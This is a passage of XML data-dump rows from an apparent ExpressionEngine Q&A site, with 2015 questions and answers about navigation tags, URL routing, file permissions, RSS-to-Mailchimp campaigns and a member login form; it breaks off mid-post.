  <row Id="28881" PostTypeId="1" AcceptedAnswerId="28886" CreationDate="2015-02-06T17:40:10.050" Score="1" ViewCount="104" Body="&lt;p&gt;My multi-level menu works fine for pages at levels 1, 2 and 3.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:taxonomy:nav &#xA; tree_id=&quot;1&quot; &#xA; display_root=&quot;no&quot; &#xA; active_branch_start_level=&quot;1&quot; &#xA; depth=&quot;3&quot;&#xA;    {if {embed:entry_id} }&#xA;        entry_id=&quot;{embed:entry_id}&quot;&#xA;    {/if}&#xA;    {if {embed:node_id} }&#xA;        node_id=&quot;{embed:node_id}&quot;&#xA;    {/if}&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I reach a URL at level 4, the menu disappears. This is to be expected, because of the depth=&quot;3&quot; parameter. If I change it to &quot;4&quot;, then my menu expands to show all four levels, but that's not what I want. I want the menu to show only three levels, even if the current URL is in level 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I show the same 3-level menu at all times, even when I'm on a level 4 page?&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2015-02-06T20:36:46.073" Title="Taxonomy nav for levels 1 through 3, while current page is level 4?" Tags="|navigation|taxonomy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28883" PostTypeId="1" AcceptedAnswerId="28914" CreationDate="2015-02-06T19:48:57.677" Score="2" ViewCount="61" Body="&lt;p&gt;Is there an Assets variable like {filedir_X} that will output the S3 server path? I'm moving my images to S3 and I have referenced images in several channel entries in a textarea like &lt;code&gt;&amp;lt;img src=&quot;{filedir_X}imagename.jpg&quot;/&amp;gt;&lt;/code&gt; and I'd prefer not to hard code the S3 URL.&lt;/p&gt;&#xA;" OwnerUserId="1016" LastActivityDate="2015-02-09T12:51:55.273" Title="{filedir_X} variable for Assets S3?" Tags="|assets|pixelandtonic|s3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28884" PostTypeId="2" ParentId="28879" CreationDate="2015-02-06T20:17:07.960" Score="0" Body="&lt;p&gt;Add CartThrob Tab to CP Main Menu?&#xA;Adds a navigation tab to the CP for easy access to CartThrob settings and channels. Requires EE 2.1.5 or higher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you referring to this setting? Under the Global settings for the module?&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2015-02-06T20:17:07.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28885" PostTypeId="1" CreationDate="2015-02-06T20:24:31.103" Score="0" ViewCount="287" Body="&lt;p&gt;All of my images have no thumbnail preview in the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All images uploaded are automatically set to:&#xA;666&#xA;Owner: 99&#xA;Group: 99&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't change it through ftp or the the Media Temple file manager&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE: v 2.92&#xA;Media Temple DV server&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have assets installed but I'm not sure if that matters&lt;/p&gt;&#xA;" OwnerUserId="1530" LastActivityDate="2015-02-06T23:48:59.383" Title="Images: wrong permissions and owner is 99 - no thumbnail" Tags="|file-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28886" PostTypeId="2" ParentId="28881" CreationDate="2015-02-06T20:36:46.073" Score="2" Body="&lt;p&gt;When you pass an &lt;code&gt;entry_id&lt;/code&gt; or &lt;code&gt;node_id&lt;/code&gt; parameter, Taxonomy is looking for that active node in the tree and assigns all the appropriate vars like &lt;code&gt;{active}&lt;/code&gt;, &lt;code&gt;{active_parent}&lt;/code&gt; etc. If the active node is not found in the tree, Taxonomy will not output the nav.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you're asking for a subset of the tree, flagging that you want an active branch subset, and supplying the active node which doesn't exist in that subset; Taxonomy is not rendering anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, remove the depth param, and wrap the &lt;code&gt;{children}&lt;/code&gt; variable in a conditonal, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:taxonomy:nav &#xA;    entry_id=&quot;{entry_id}&quot;&#xA;    tree_id=&quot;1&quot; &#xA;    display_root=&quot;no&quot; &#xA;    active_branch_start_level=&quot;1&quot; &#xA;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{node_url}&quot;&amp;gt;{node_title}&amp;lt;/a&amp;gt;{if node_level &amp;lt; 3}{children}{/if}&amp;lt;/li&amp;gt;&#xA;{/exp:taxonomy:nav}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are a few other ways of doing it, but this would be the most straight forward. Let me know if you're still not getting the results you need.&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2015-02-06T20:36:46.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28888" PostTypeId="2" ParentId="28885" CreationDate="2015-02-06T23:48:59.383" Score="1" Body="&lt;p&gt;Sounds like you need to change your uploads directory permissions. The non-generation of thumbnails pretty much verifies that it is a permissions problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, take a general look at the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/installation/update.html&quot; rel=&quot;nofollow&quot;&gt;EE Upgrade Instructions&lt;/a&gt;, in particular the section on &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/installation/update.html#verify-file-permissions&quot; rel=&quot;nofollow&quot;&gt;Verify File Permissions&lt;/a&gt;. Check everything matches the recommendations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then check your &lt;strong&gt;File Manager Permissions&lt;/strong&gt; in &lt;code&gt;Control Panel &amp;gt; Content &amp;gt; Files&lt;/code&gt;. Make sure you have your upload directory defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if you are allowing users to upload files via the Control Panel, the web server daemon &lt;code&gt;user:group&lt;/code&gt; (typically &lt;code&gt;apache:apache&lt;/code&gt; or &lt;code&gt;www:www&lt;/code&gt;) needs to have write permission to the uploads directory. Try to avoid making permissions 777 (which is global read/write/execute) and just enable read/write for the web server daemon. This should be a simple check and fix that you can do via your FTP agent. Good luck.&lt;/p&gt;&#xA;" OwnerUserId="2608" LastActivityDate="2015-02-06T23:48:59.383" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28889" PostTypeId="1" CreationDate="2015-02-07T01:17:02.720" Score="0" ViewCount="31" Body="&lt;p&gt;I am trying to modify the Low Yearly Archive plugin to display months as descending as opposed to ascending. I did not install the plugin and have very little experience with websites/cms. I believe I would have to go to the php file under third party directory but I am not sure where to find this. Website is hosted on Amazon web services if that makes a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help! Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5027" LastActivityDate="2015-02-07T08:59:39.917" Title="How to modify existing plugins parameters" Tags="|plugin|low-yearly-archives|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28890" PostTypeId="1" CreationDate="2015-02-07T01:28:08.533" Score="1" ViewCount="107" Body="&lt;p&gt;I'd like to know if there's any way I can set up a duplicate of the live website I have running on amazon web services so that I can preview changes I'd like to make without effective the live website. So far it doesn't seem like there are any options to preview changes on expressionengine&lt;/p&gt;&#xA;" OwnerUserId="5027" LastActivityDate="2015-02-07T18:50:47.277" Title="How to create development website instance to preview changes made before going live?" Tags="|aws|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28891" PostTypeId="2" ParentId="28784" CreationDate="2015-02-07T02:42:55.967" Score="1" Body="&lt;p&gt;You can get information about any node via &lt;a href=&quot;http://iain.co.nz/software/docs/taxonomy3-get-node&quot; rel=&quot;nofollow&quot;&gt;the get_node tag&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, you can find out if the node has children, as well as the depth of the current node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:taxonomy:get_node tree_id=&quot;1&quot; entry_id=&quot;{entry_id}&quot;}&#xA;    {if this_node_level &amp;gt; 2 &amp;amp;&amp;amp; this_node_has_children}&#xA;        {exp:taxonomy:breadcrumbs tree_id=&quot;1&quot; entry_id=&quot;{entry_id}&quot;}&#xA;    {/if}&#xA;{/exp:taxonomy:get_node}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="549" LastActivityDate="2015-02-07T02:42:55.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28892" PostTypeId="1" AcceptedAnswerId="28897" CreationDate="2015-02-07T05:34:15.687" Score="2" ViewCount="133" Body="&lt;p&gt;Just jumping into &lt;a href=&quot;https://github.com/rsanchez/resource_router&quot; rel=&quot;nofollow&quot;&gt;Resource Router&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/_rsan&quot; rel=&quot;nofollow&quot;&gt;Rob Sanchez&lt;/a&gt; and hit a wall already. I've forgone the category URL indicator as I believe it works without it. I'm attempting to achieve the following URL structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/posts/ &lt;em&gt;-Display a list of ALL categories&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/posts/category_url &lt;em&gt;-Display a list of entries belonging to the category&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/posts/category_url/entry_url &lt;em&gt;-Display an entry that has the category&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['resource_router'] = array(&#xA;        'posts/:category/:any' =&amp;gt; function($router, $wildcard_1, $wildcard_2) {&#xA;                // is segment_3 a valid URL title?&#xA;                if ($wildcard_2-&amp;gt;isValidUrlTitle()) {&#xA;                    $router-&amp;gt;setTemplate('templates/view');&#xA;                }   //is segment_2 a valid category URL title?&#xA;                elseif ($wildcard_1-&amp;gt;isValidCategoryUrlTitle()) {&#xA;                    $router-&amp;gt;setTemplate('templates/cat_entries');&#xA;                } &#xA;                else { //We're at the root - show category list&#xA;                    $router-&amp;gt;setTemplate('templates/cat_overview');&#xA;                }&#xA;         }&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Valid URL title portion works but stumped on what I require to get the other 2 working. Any insight gratefully accepted.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2015-02-07T12:59:11.507" Title="Resource Routing on mutiple URLs" Tags="|stash|routing|resource-router|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28893" PostTypeId="1" CreationDate="2015-02-07T08:46:13.027" Score="0" ViewCount="426" Body="&lt;p&gt;I have 2 channels, &quot;vehicle&quot; and &quot;make&quot;.  Vehicle uses a text input channel field, make uses a dropdown select channel field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &quot;vehicle&quot; channel I also have a relationship field to &quot;make&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have a count for how many times I have set a vehicle to a particular make.  Let's take Acura for example.  I have entered in 20 Acura cars, and 5 Nissan cars. I would like to show 20 next to Acura.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And perhaps a total_count would be good too, of all of the vehicle+make relationships that are combined.  (25)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done relatively easily in EE 2.9.2?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerDisplayName="user5017" LastActivityDate="2015-05-12T01:02:30.040" Title="Relationship Count (Number) Needed" Tags="|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28894" PostTypeId="2" ParentId="28892" CreationDate="2015-02-07T08:52:48.797" Score="0" Body="&lt;p&gt;The way I've done it before:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;posts/:any           =&amp;gt; templates/index,&#xA;posts/:any/:any      =&amp;gt; templates/cat_entries,&#xA;posts/:any/:any/:any =&amp;gt; templates/view&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="116" LastActivityDate="2015-02-07T08:52:48.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28895" PostTypeId="2" ParentId="28889" CreationDate="2015-02-07T08:59:39.917" Score="1" Body="&lt;p&gt;You don't need to edit the file for that. You can just use &lt;code&gt;monthsort=&quot;desc&quot;&lt;/code&gt; on the tag. &lt;a href=&quot;http://gotolow.com/addons/low-yearly-archives/docs#tags&quot; rel=&quot;nofollow&quot;&gt;Check out docs&lt;/a&gt; to see what other parameters are available.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-07T08:59:39.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28896" PostTypeId="1" CreationDate="2015-02-07T10:01:24.387" Score="0" ViewCount="48" Body="&lt;p&gt;Anyone know the best way to add a playa related entry (in this case a gallery) directly into a post area (wygwam or richtext field for example)? I need to have flexibility here, so could be 1 or 20 galleries per entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In WP you'd be able to drop in the [gallery] tag or similar (can't remember exactly, it's been a while). I was thinking there'd be some kind of integration with playa+wygwam but I can't see anything in the wygwam field config/advanced settings... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="778" LastEditDate="2015-02-21T12:39:47.310" LastActivityDate="2016-06-01T07:12:14.047" Title="Adding playa entry into field (e.g. related gallery)" Tags="|playa|wygwam|richtext|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28897" PostTypeId="2" ParentId="28892" CreationDate="2015-02-07T12:59:11.507" Score="5" Body="&lt;p&gt;You can do this without a callback function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['resource_router'] = array(&#xA;    'posts' =&amp;gt; 'templates/index',&#xA;    'posts/:category_url_title' =&amp;gt; 'templates/cat_entries',&#xA;    'posts/:category_url_title/:any' =&amp;gt; 'templates/view',&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2015-02-07T12:59:11.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28898" PostTypeId="2" ParentId="27090" CreationDate="2015-02-07T14:57:47.010" Score="1" Body="&lt;p&gt;ZEDG: if I'm understanding your setup correctly, each entry in your 'Content' channel equates to a specific page on the site, right? So each 'page' has its own entry_id. Thus, you could run a conditional to examine on the entry_id of each result, and provide specific template code for each possibility. (Switchee would be a better option for this task than native if/else conditionals, as it would only parse the template code for the matching entry_id, rather than parsing the code for every possible entry_id and then discarding the non-matches).&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2015-02-07T14:57:47.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28899" PostTypeId="1" AcceptedAnswerId="28900" CreationDate="2015-02-07T16:05:13.683" Score="0" ViewCount="199" Body="&lt;p&gt;I'm finding that &lt;em&gt;some&lt;/em&gt; external links to external sites are being directed to an intermediate page ( &lt;a href=&quot;http://www.example.com/?URL=http://www.link-destination.com&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/?URL=http://www.link-destination.com&lt;/a&gt; ) with the &quot;To proceed to the URL you have requested, click the link below:&quot; line, followed by the destination URL as a link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The links I am finding this with are being set inside a text_area field which is itself inside a Grid field. The text_area itself has formatting buttons shown (bold, italic and link only). The channel itself is set to 'Allow only safe HTML' and it has &quot;Automatically turn URLs and email addresses into links?&quot; set to 'No' (so links are explicitly made using the formatting button on the text_area field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other external links do not show this redirection behaviour, but they are created either using an Expresso field type or by simply being hardcoded into the template. Internal links of course use the {path=&quot;&quot;} tag and so do not show this behaviour either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm at a loss as to how to stop the text_area links from routing themselves through the intermediate page. It's not going to please the client if users have to click twice, once as normal then again on this transitional page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What determines whether EE performs this redirection routine, and how can I prevent it (and have the external links go directly to their destination)?&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2015-02-07T16:15:02.607" LastActivityDate="2015-02-07T16:47:45.430" Title="When does EE apply a URL redirect to links?" Tags="|links|querystring|redirection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28900" PostTypeId="2" ParentId="28899" CreationDate="2015-02-07T16:47:45.430" Score="2" Body="&lt;p&gt;I'm not sure of this behavior being applied to other fields than comments, but maybe it worth to try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On &lt;em&gt;Control Panel &gt; Admin &gt; Security and Privacy &gt; Security and Sessions&lt;/em&gt;, look for &lt;strong&gt;Apply Rank Denial to User-submitted Links&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-02-07T16:47:45.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28901" PostTypeId="2" ParentId="28890" CreationDate="2015-02-07T18:50:47.277" Score="1" Body="&lt;p&gt;It's not exactly clear what you mean here. Your question mentions creating a &quot;development website instance&quot; but also talk of &quot;preview[ing] changes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mean that you want to be able to preview content changes before publishing them in your live site then there are a couple of add-ons that spring to mind. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Publisher Lite &lt;a href=&quot;https://devot-ee.com/add-ons/publisher-lite&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/publisher-lite&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Better Workflow &lt;a href=&quot;https://devot-ee.com/add-ons/better-workflow&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/better-workflow&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These will allow the creation of draft entries which need to be reviewed and publish. This is commonly referred to as &quot;Workflow control&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, however, you are referring to making changes to the actual build of the site (i.e. templates, add-on files etc) then the common practice would be to set up a totally separate site. When developing I would normally have a local development version, a staging (or preview) version which my client can test, and the a live (or production) version. Each uses their own database and filesystem so they do not impact one another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At its simplest you would simply clone the site - copy the files and database and set them up somewhere else. The clone would need a different config setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is the case then you need to create a new copy of your site files and database, install them on a server and have them accessible via a different domain to your live site. This might be a local set up or a site also hosted on AWS. If this is the case then I would also advise making sure the preview site is turned off (so it is only accessible to logged in Super Admins).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working this way means one needs to be careful about where changes are made to files and data. For instance, it is desirable to push changes to templates &lt;em&gt;up&lt;/em&gt; the chain from development-&gt;staging-&gt;production but undesirable to push content/data changes. Equally, any changes to content on the production site should be passed &lt;em&gt;down&lt;/em&gt; the chain from production-&gt;staging-&gt;development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To help in managing all of this you will probably also need to use a config system such as &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Focus Labs Config&lt;/a&gt;. This will allow you to create separate configuration files for each environment which greatly simplifies deployment.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-02-07T18:50:47.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28902" PostTypeId="1" AcceptedAnswerId="28904" CreationDate="2015-02-08T01:00:21.870" Score="0" ViewCount="182" Body="&lt;p&gt;We need to be able to email subscribed members (that we add to Mailchimp via Postmaster) a weekly email of the latest posts made to the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the right direction and provide some tips on how we can accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="3909" LastActivityDate="2015-02-08T11:27:52.670" Title="Weekly Email of Channel Entries" Tags="|email|postmaster|notification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28903" PostTypeId="2" ParentId="25613" CreationDate="2015-02-08T08:15:51.263" Score="0" Body="&lt;p&gt;The latest version (1.4.0) also supports displaying events as anniversaries with &lt;code&gt;anniversaries=&quot;yes&quot;&lt;/code&gt;, see &lt;a href=&quot;http://gotolow.com/addons/low-events/docs/tags#entries-tag&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-events/docs/tags#entries-tag&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-08T08:15:51.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28904" PostTypeId="2" ParentId="28902" CreationDate="2015-02-08T11:27:52.670" Score="2" Body="&lt;p&gt;First of all you should install the RSS module which is provided.&#xA;Then you would create an RSS Template in this form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rss:feed channel=&quot;your_news_channel&quot; debug=&quot;yes&quot; status=&quot;open&quot; }&#xA;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;{encoding}&quot;?&amp;gt;&#xA;&amp;lt;rss version=&quot;2.0&quot;&#xA;    xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;    xmlns:sy=&quot;http://purl.org/rss/1.0/modules/syndication/&quot;&#xA;    xmlns:admin=&quot;http://webns.net/mvcb/&quot;&#xA;    xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&#xA;    xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&#xA;    xmlns:atom=&quot;http://www.w3.org/2005/Atom&quot;&amp;gt;&#xA;    &amp;lt;channel&amp;gt;&#xA;    &amp;lt;atom:link href=&quot;http://yourdomain.com/path-to/rss-template&quot; rel=&quot;self&quot; type=&quot;application/rss+xml&quot; /&amp;gt;  &#xA;    &amp;lt;title&amp;gt;Our cool website&amp;lt;/title&amp;gt;&#xA;    &amp;lt;link&amp;gt;http://yourdomain.com&amp;lt;/link&amp;gt;&#xA;    &amp;lt;description&amp;gt;News from Our cool website&amp;lt;/description&amp;gt;&#xA;    &amp;lt;dc:language&amp;gt;{channel_language}&amp;lt;/dc:language&amp;gt;&#xA;    &amp;lt;dc:creator&amp;gt;info@yourdomain.com&amp;lt;/dc:creator&amp;gt;&#xA;    &amp;lt;dc:rights&amp;gt;Copyright {gmt_date format=&quot;%Y&quot;}&amp;lt;/dc:rights&amp;gt;&#xA;    &amp;lt;dc:date&amp;gt;{gmt_date format=&quot;%Y-%m-%dT%H:%i:%s%Q&quot;}&amp;lt;/dc:date&amp;gt;&#xA;    &amp;lt;admin:generatorAgent rdf:resource=&quot;http://expressionengine.com/&quot; /&amp;gt;&#xA;{exp:channel:entries channel=&quot;your_news_channel&quot; limit=&quot;10&quot; dynamic_start=&quot;on&quot; disable=&quot;member_data&quot; sort=&quot;asc&quot; status=&quot;open|featured&quot;}&#xA;    &amp;lt;item&amp;gt;&#xA;      &amp;lt;title&amp;gt;{exp:xml_encode}{title}{/exp:xml_encode}&amp;lt;/title&amp;gt;&#xA;      &amp;lt;link&amp;gt;{comment_url_title_auto_path}&amp;lt;/link&amp;gt;&#xA;      &amp;lt;guid&amp;gt;{comment_url_title_auto_path}#When:{gmt_entry_date format=&quot;%H:%i:%sZ&quot;}&amp;lt;/guid&amp;gt;&#xA;      &amp;lt;description&amp;gt;&amp;lt;![CDATA[{news_excerpt_tag}]]&amp;gt;&amp;lt;/description&amp;gt; &#xA;      &amp;lt;dc:date&amp;gt;{gmt_entry_date format=&quot;%Y-%m-%dT%H:%i:%s%Q&quot;}&amp;lt;/dc:date&amp;gt;&#xA;    &amp;lt;/item&amp;gt;&#xA;{/exp:channel:entries}&#xA;    &amp;lt;/channel&amp;gt;&#xA;&amp;lt;/rss&amp;gt;&#xA;{/exp:rss:feed}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Test this template by navigating with your browser to &lt;code&gt;http://yourdomain.com/path-to/rss-template&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then create an RSS driven campaign on Mailchimp and give the above address as an RSS feed URL. (Campaigns/Create Campaign/Rss Driven Campaign).&#xA;Then you will be given the opportunity to configure the campaign to be sent at set intervals (in your case weekly), given the fact new entries are found. Follow the RSS merge tags instructions to provide a template. &lt;a href=&quot;http://kb.mailchimp.com/campaigns/rss-in-campaigns/create-an-rss-driven-campaign&quot; rel=&quot;nofollow&quot;&gt;http://kb.mailchimp.com/campaigns/rss-in-campaigns/create-an-rss-driven-campaign&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2015-02-08T11:27:52.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28905" PostTypeId="2" ParentId="28857" CreationDate="2015-02-08T19:30:15.253" Score="0" Body="&lt;p&gt;I've now discovered that it is a bug in 2.9.2 and there is a fix, see this question and the answers:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/27313/grid-conditionals-not-working&quot;&gt;Grid Conditionals not working&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="483" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-02-08T19:30:15.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28906" PostTypeId="1" CreationDate="2015-02-08T21:55:17.387" Score="0" ViewCount="98" Body="&lt;pre&gt;&lt;code&gt;    `enter preformatted text here`    {exp:freemember:login return=&quot;shop/checkout&quot; error_handling=&quot;inline&quot; error_delimiters='&amp;lt;span class=&quot;error&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}&#xA;&#xA;          &amp;lt;p&amp;gt;&#xA;              &amp;lt;label for=&quot;email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;              {field:email}&amp;lt;br /&amp;gt;&#xA;              {error:email}&#xA;          &amp;lt;/p&amp;gt;&#xA;&#xA;          &amp;lt;p&amp;gt;&#xA;              &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;              {field:password}&amp;lt;br /&amp;gt;&#xA;              {error:password}&#xA;          &amp;lt;/p&amp;gt;&#xA;&#xA;          &amp;lt;p&amp;gt;&#xA;              {field:auto_login} &amp;lt;label for=&quot;auto_login&quot;&amp;gt;Remember Me&amp;lt;/label&amp;gt;&#xA;          &amp;lt;/p&amp;gt;&#xA;&#xA;          &amp;lt;p&amp;gt;&#xA;              &amp;lt;input type=&quot;submit&quot; value=&quot;Log in&quot; /&amp;gt;&#xA;              &amp;lt;a href=&quot;{path='shop/checkout'}&quot;&amp;gt;Create Account&amp;lt;/a&amp;gt;&#xA;          &amp;lt;/p&amp;gt;&#xA;&#xA;        {/exp:freemember:login}&#xA;&#xA;    Trying with standared example code also not working for me.&#xA;    i have assign order field to member field in store configuration and other settings were right.&#xA;    But still not logging in.&#xA;   Updated : 02092015&#xA;    Here is the custom code that also always giving email error&#xA;    {exp:freemember:register return='shop/checkout' error_handling=&quot;inline&quot; error_delimiters='&amp;lt;div class=&quot;error&quot;&amp;gt;|&amp;lt;/div&amp;gt;'}&#xA;                &amp;lt;div class=&quot;mini_registration&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;sus-username&quot;&amp;gt;&#xA;                      &amp;lt;input class=&quot;welurfield regsolofield&quot;  type=&quot;text&quot; name=&quot;username&quot; value=&quot;{username}&quot; placeholder=&quot;User Name&quot; maxlength=&quot;32&quot; size=&quot;25&quot;&amp;gt;&#xA;                            {error:username}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;sus-customername&quot;&amp;gt;&#xA;                      &amp;lt;div class=&quot;sus-name&quot;&amp;gt;&amp;lt;input class=&quot;firstname&quot; type=&quot;text&quot; name=&quot;first_name&quot; value=&quot;{first_name}&quot; placeholder=&quot;First Name&quot; maxlength=&quot;32&quot; size=&quot;25&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                      &amp;lt;div class=&quot;sus-name&quot;&amp;gt;&amp;lt;input class=&quot;lastname&quot;  type=&quot;text&quot; name=&quot;last_name&quot; value=&quot;{last_name}&quot; placeholder=&quot;Last Name&quot; maxlength=&quot;32&quot; size=&quot;25&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div&amp;gt;&#xA;                      &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;{email}&quot; placeholder=&quot;User Email&quot; maxlength=&quot;50&quot; size=&quot;25&quot;&amp;gt;&#xA;                        {error:email}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;sus-password&quot;&amp;gt;&#xA;                      &amp;lt;input class=&quot;password_input&quot;  type=&quot;text&quot; name=&quot;password&quot; value=&quot;{password}&quot; placeholder=&quot;Your Password&quot; maxlength=&quot;50&quot; size=&quot;25&quot;&amp;gt;&#xA;                      